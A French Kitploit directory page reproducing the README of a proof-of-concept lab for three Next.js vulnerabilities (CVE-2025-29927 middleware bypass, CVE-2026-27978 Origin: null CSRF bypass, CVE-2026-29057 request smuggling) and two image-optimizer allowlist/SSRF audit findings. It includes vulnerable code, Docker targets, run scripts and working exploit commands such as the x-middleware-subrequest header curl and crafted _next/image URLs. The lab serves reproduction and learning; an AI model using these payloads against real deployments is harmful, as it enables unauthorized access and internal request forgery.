Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Next.js-Proof-of-Concept — Quelques preuves de concept (POCs) pour CVE-2025-29927, CVE-2026-27978 et CVE-2026-29057 dans Next.js. | Kitploit
Outils/GitHubGitHub/nayekah/next.js-proof-of-concept
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebApprentissage et ÉducationLabs et Pratique
GitHubnayekah/next.js-proof-of-concept

Next.js-Proof-of-Concept

Quelques preuves de concept (POCs) pour CVE-2025-29927, CVE-2026-27978 et CVE-2026-29057 dans Next.js.

Voir le dépôt
il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Preuve de Concept pour les CVE de Next.js

Ce dépôt contient des environnements reproductibles de preuve de concept pour trois vulnérabilités Next.js. Chaque PoC inclut une cible vulnérable, une cible corrigée et un script qui montre la différence de comportement entre les deux.

L'objectif de ce projet est de rendre la cause racine et l'impact pratique de chaque problème faciles à observer dans un environnement minimal.

Vulnérabilités incluses

CVEAvisImpactVersion vulnérableVersion corrigée
CVE-2025-29927GHSA-f82v-jwr5-mffwcontournement d'autorisation lorsque le contrôle d'accès repose uniquement sur un middleware15.2.215.2.3
CVE-2026-27978GHSA-mq59-m269-xvcxcontournement par Origin: null des vérifications CSRF des Server Actions16.1.616.1.7
CVE-2026-29057GHSA-ggv3-7p47-pfv8injection de requêtes HTTP via des réécritures vers un backend externe15.5.1215.5.13
NEXT-16.2.4-IMAGE-REDIRECTconstatation d'audit localcontournement de la liste blanche distante de l'optimiseur d'images via des redirections16.2.4non vérifié
NEXT-16.2.4-IMAGE-LOCAL-REWRITEconstatation d'audit locall'URL locale de l'optimiseur d'images peut atteindre un amont privé via des réécritures externes16.2.4non vérifié

Commits de version et correctifs

Les hash ci-dessous proviennent du dépôt amont vercel/next.js.

CVECommit de version vulnérableCommit de version corrigéeCommit de correctif pertinent
CVE-2025-29927v15.2.2 -> f4552826e1ed15fbeb951be552d67c5a08ad0672v15.2.3 -> 535e26d3c69de49df8bd17618a424cbe65ec897b52a078da3884efe6501613c7834a3d02a91676d2
CVE-2026-27978v16.1.6 -> adf8c612adddd103647c90ff0f511ea35c57076ev16.1.7 -> bdf3e3577a6d55ea186a48238d61fbd8da07a626a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8
CVE-2026-29057v15.5.12 -> d23f41c42506005fe6978e076a1ccbf8979e4925v15.5.13 -> cfd5f533b08df3038476dcd54f1d6d660d85f069dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6

Structure du dépôt

root@kitploit:~
.
|- docker-compose.yml
|- pocs/
|  |- cve-2025-29927/
|  |- cve-2026-27978/
|  |- cve-2026-29057/
|  |- next-16.2.4-image-redirect-allowlist-bypass/
|  `- next-16.2.4-image-local-rewrite-ssrf/
`- scripts/
   |- run-cve-2025-29927.mjs
   |- run-cve-2026-27978.mjs
   |- run-cve-2026-29057.mjs
   |- run-next-16.2.4-image-redirect-allowlist-bypass.mjs
   `- run-next-16.2.4-image-local-rewrite-ssrf.mjs

Prérequis

  1. Installez Docker Desktop ou Docker Engine.
  2. Assurez-vous que docker compose est disponible.
  3. Exécutez les commandes depuis la racine de ce dépôt.

Lancer tous les services

root@kitploit:~
docker compose up --build

Ports exposés :

  • 3001 -> CVE-2025-29927 vulnérable
  • 3002 -> CVE-2025-29927 corrigé
  • 3003 -> CVE-2026-27978 vulnérable
  • 3004 -> CVE-2026-27978 corrigé
  • 3005 -> CVE-2026-29057 vulnérable
  • 3006 -> CVE-2026-29057 corrigé
  • 3007 -> NEXT-16.2.4-IMAGE-REDIRECT
  • 3008 -> NEXT-16.2.4-IMAGE-LOCAL-REWRITE

Reproduire 1 : CVE-2025-29927

Chemin de code vulnérable

Dans ce PoC, /dashboard n'est protégé que par un middleware :

root@kitploit:~
export function middleware(request) {
  const session = request.cookies.get('session')?.value

  if (session !== 'admin') {
    return NextResponse.redirect(new URL('/login', request.url))
  }

  return NextResponse.next()
}

Le contrôle d'autorisation lui-même n'est pas incorrect. Le problème est que la route dépend entièrement de l'hypothèse que l'exécution du middleware ne peut pas être contournée.

Dans les versions affectées de Next.js, les requêtes externes pouvaient toujours fournir l'en-tête interne x-middleware-subrequest, et le runtime traitait cette valeur comme des métadonnées de middleware de confiance. La logique vulnérable pertinente était :

root@kitploit:~
const INTERNAL_HEADERS = [
  'x-middleware-rewrite',
  'x-middleware-redirect',
  'x-middleware-set-cookie',
  'x-middleware-skip',
  'x-middleware-override-headers',
  'x-middleware-next',
  'x-now-route-matches',
  'x-matched-path',
]

export const filterInternalHeaders = (headers) => {
  for (const header in headers) {
    if (INTERNAL_HEADERS.includes(header)) {
      delete headers[header]
    }
  }
}

x-middleware-subrequest n'y était pas filtré, donc une entrée contrôlée par l'attaquant pouvait atteindre le runtime du middleware. Cette valeur était ensuite utilisée pour dériver la profondeur de récursion :

root@kitploit:~
const subreq = params.request.headers['x-middleware-subrequest']
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []

const depth = subrequests.reduce(
  (acc, curr) => (curr === params.name ? acc + 1 : acc),
  0
)

if (depth >= MAX_RECURSION_DEPTH) {
  return {
    response: new Response(null, {
      headers: {
        'x-middleware-next': '1',
      },
    }),
  }
}

Si un attaquant envoie middleware:middleware:middleware:middleware:middleware, le runtime peut conclure que la profondeur de récursion a déjà été atteinte et transmettre la requête sans exécuter le middleware de l'application.

Exécuter

root@kitploit:~
docker compose up --build cve-2025-29927-vuln cve-2025-29927-fixed
root@kitploit:~
node scripts/run-cve-2025-29927.mjs http://localhost:3001
node scripts/run-cve-2025-29927.mjs http://localhost:3002

Comportement attendu :

  • 3001 renvoie une redirection sans l'en-tête d'exploitation, mais renvoie 200 OK avec x-middleware-subrequest.
  • 3002 continue de rediriger vers /login car l'en-tête interne n'est plus considéré comme fiable depuis une entrée externe.

Reproduire 2 : CVE-2026-27978

Chemin de code vulnérable

Ce PoC expose une Server Action normale qui modifie l'état côté serveur :

root@kitploit:~
'use server'

import { cookies } from 'next/headers'
import { revalidatePath } from 'next/cache'
import { recordTransfer } from '../lib/state'

export async function transferFunds(formData) {
  const cookieStore = await cookies()
  const session = cookieStore.get('session')?.value

  if (!session) {
    throw new Error('Victim session cookie is missing.')
  }

  const amount = Number(formData.get('amount') || '0')
  recordTransfer(session, amount)
  revalidatePath('/')
}

Le problème ne vient pas de transferFunds() elle-même. Le comportement vulnérable se situait dans la validation CSRF des Server Actions de Next.js. Dans les versions affectées, Origin: null était traité comme une origine manquante au lieu d'une origine opaque explicite :

root@kitploit:~
const originHeader = req.headers['origin']
const originDomain =
  typeof originHeader === 'string' && originHeader !== 'null'
    ? new URL(originHeader).host
    : undefined

const host = parseHostHeader(req.headers)

if (!originDomain) {
  warning = 'Missing `origin` header from a forwarded Server Actions request.'
} else if (!host || originDomain !== host.value) {
  if (isCsrfOriginAllowed(originDomain, serverActions?.allowedOrigins)) {
    // Ignore it
  } else {
    const error = new Error('Invalid Server Actions request.')
    // ...
  }
}

Parce que 'null' devenait undefined, les requêtes provenant d'origines opaques telles que des iframes sandboxed pouvaient éviter le chemin de comparaison hôte/origine et être tout de même traitées avec les cookies de la victime.

Exécuter

root@kitploit:~
docker compose up --build cve-2026-27978-vuln cve-2026-27978-fixed
root@kitploit:~
node scripts/run-cve-2026-27978.mjs http://localhost:3003
node scripts/run-cve-2026-27978.mjs http://localhost:3004

Comportement attendu :

  • le script se connecte en tant que victime, extrait le champ Server Action généré de la page et le soumet avec Origin: null
  • sur la cible vulnérable, l'état de transfert change
  • sur la cible corrigée, la requête échoue et l'état reste inchangé

Reproduire 3 : CVE-2026-29057

Chemin de code vulnérable

Ce PoC réécrit /rewrites/:path* vers un backend externe :

root@kitploit:~
/** @type {import('next').NextConfig} */
const nextConfig = {
  async rewrites() {
    return [
      {
        source: '/rewrites/:path*',
        destination: 'http://127.0.0.1:4000/rewrites/:path*',
      },
    ]
  },
}

module.exports = nextConfig

Le comportement vulnérable se trouvait dans la dépendance http-proxy intégrée utilisée par Next.js pour les réécritures. Dans les versions affectées, la logique du proxy pour les requêtes DELETE et OPTIONS pouvait ajouter content-length: 0 et supprimer transfer-encoding :

root@kitploit:~
deleteLength: function deleteLength(req, res, options) {
  if (
    (req.method === 'DELETE' || req.method === 'OPTIONS') &&
    !req.headers['content-length']
  ) {
    req.headers['content-length'] = '0'
    delete req.headers['transfer-encoding']
  }
},

Cela créait un désaccord de limites de requête entre la chaîne de proxy et le backend lorsqu'une requête fragmentée (chunked) conçue était transmise. En conséquence, une deuxième requête pouvait être injectée vers le backend sur la même connexion.

Exécuter

root@kitploit:~
docker compose up --build cve-2026-29057-vuln cve-2026-29057-fixed
root@kitploit:~
node scripts/run-cve-2026-29057.mjs http://localhost:3005
node scripts/run-cve-2026-29057.mjs http://localhost:3006

Comportement attendu :

  • le script réinitialise l'état observé, puis envoie une requête DELETE /rewrites/poc fragmentée brute contenant un GET /secret injecté
  • sur la cible vulnérable, le backend enregistre à la fois DELETE /rewrites/poc et GET /secret
  • sur la cible corrigée, le backend n'enregistre que la première requête réécrite

Exemple de sortie observée :

root@kitploit:~
$ node scripts/run-cve-2026-29057.mjs http://localhost:3005
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc","GET /secret"]}
PoC result: vulnerable behavior reproduced.

$ node scripts/run-cve-2026-29057.mjs http://localhost:3006
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc"]}
PoC result: smuggled request was not observed. This usually means the target is patched.

Reproduire 4 : NEXT-16.2.4-IMAGE-REDIRECT

Chemin de code vulnérable

La source locale next.js-16.2.4 valide images.remotePatterns uniquement pour le paramètre url d'origine dans ImageOptimizerCache.validateParams() :

root@kitploit:~
if (!hasRemoteMatch(domains, remotePatterns, hrefParsed)) {
  return { errorMessage: '"url" parameter is not allowed' }
}

Le chemin de récupération réseau suit ensuite les redirections récursivement dans fetchExternalImage() :

root@kitploit:~
const redirect = new URL(locationHeader, href).href
return fetchExternalImage(
  redirect,
  dangerouslyAllowLocalIP,
  maximumResponseBody,
  count - 1
)

Cet appel récursif conserve la vérification d'IP privée, mais il ne reçoit ni ne ré-applique domains / remotePatterns. Une origine d'image autorisée configurée peut donc rediriger l'optimiseur vers une autre origine publique qui ne passerait pas la liste blanche d'images d'origine.

Le PoC utilise des services localhost et définit dangerouslyAllowLocalIP: true uniquement pour que le comportement de la liste blanche puisse être reproduit sans infrastructure externe. La liste blanche d'images configurée n'autorise que http://127.0.0.1:4100/allowed/** ; ce serveur redirige vers http://127.0.0.1:4200/blocked/private.png, et le second serveur enregistre s'il a été atteint.

Exécuter

root@kitploit:~
docker compose up --build next-16-image-redirect-bypass
root@kitploit:~
node scripts/run-next-16.2.4-image-redirect-allowlist-bypass.mjs http://localhost:3007

Comportement attendu :

  • l'optimiseur accepte l'URL autorisée d'origine sur le port 4100
  • l'amont autorisé redirige vers une URL sur le port 4200, qui est en dehors de images.remotePatterns
  • sur la cible vulnérable, l'amont du port 4200 enregistre GET /blocked/private.png
  • sur une cible corrigée, la cible de redirection doit être rejetée avant que le second amont ne soit récupéré

Commandes manuelles rapides

CVE-2025-29927

root@kitploit:~
curl -i http://localhost:3001/dashboard
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/dashboard

CVE-2026-27978

Utilisez le script fourni, car le champ Server Action est généré dynamiquement par le serveur.

CVE-2026-29057

Utilisez le script fourni, car l'exploit repose sur une charge utile TCP brute avec une deuxième requête injectée.

NEXT-16.2.4-IMAGE-REDIRECT

root@kitploit:~
curl "http://localhost:3007/_next/image?url=http%3A%2F%2F127.0.0.1%3A4100%2Fallowed%2Fredirect.png&w=64&q=75"
curl http://localhost:3007/api/state

Reproduire 5 : NEXT-16.2.4-IMAGE-LOCAL-REWRITE

Chemin de code vulnérable

Pour une URL d'image locale, ImageOptimizerCache.validateParams() ne valide que le chemin local par rapport à images.localPatterns :

root@kitploit:~
if (!hasLocalMatch(localPatterns, url)) {
  return { errorMessage: '"url" parameter is not allowed' }
}

Le chemin de récupération interne rentre alors dans le gestionnaire de requêtes Next.js :

root@kitploit:~
await handleRequest(mocked.req, mocked.res, nodeUrl.parse(href, true))

Si la route locale correspondante est configurée comme une réécriture externe, la requête peut être proxyfiée vers cette destination externe. Ce chemin n'appelle pas fetchExternalImage(), donc la protection d'IP privée utilisée pour les URLs d'image absolues n'est pas appliquée à la destination réécrite.

Le PoC autorise uniquement les URLs d'images locales sous /allowed/**, puis réécrit ce chemin vers http://127.0.0.1:4300/private/:path* :

root@kitploit:~
const nextConfig = {
  images: {
    localPatterns: [{ pathname: '/allowed/**' }],
  },
  async rewrites() {
    return [
      {
        source: '/allowed/:path*',
        destination: 'http://127.0.0.1:4300/private/:path*',
      },
    ]
  },
}

Exécuter

root@kitploit:~
docker compose up --build next-16-image-local-rewrite-ssrf
root@kitploit:~
node scripts/run-next-16.2.4-image-local-rewrite-ssrf.mjs http://localhost:3008

Comportement attendu :

  • l'optimiseur accepte /allowed/secret.png car il correspond à images.localPatterns
  • Next.js applique la réécriture externe vers http://127.0.0.1:4300/private/secret.png
  • sur la cible vulnérable, l'amont privé enregistre GET /private/secret.png
  • sur une cible corrigée, l'optimiseur d'images doit rejeter les destinations de réécriture externes/privées avant de les proxyfier

NEXT-16.2.4-IMAGE-LOCAL-REWRITE

root@kitploit:~
curl "http://localhost:3008/_next/image?url=%2Fallowed%2Fsecret.png&w=64&q=75"
curl http://localhost:3008/api/state

Sources

  • Avis de sécurité Next.js
  • Avis CVE-2025-29927
  • Post-mortem sur le contournement du middleware
  • Avis CVE-2026-27978
  • Avis CVE-2026-29057
  • Commit de correctif CVE-2026-29057
Télécharger l’outil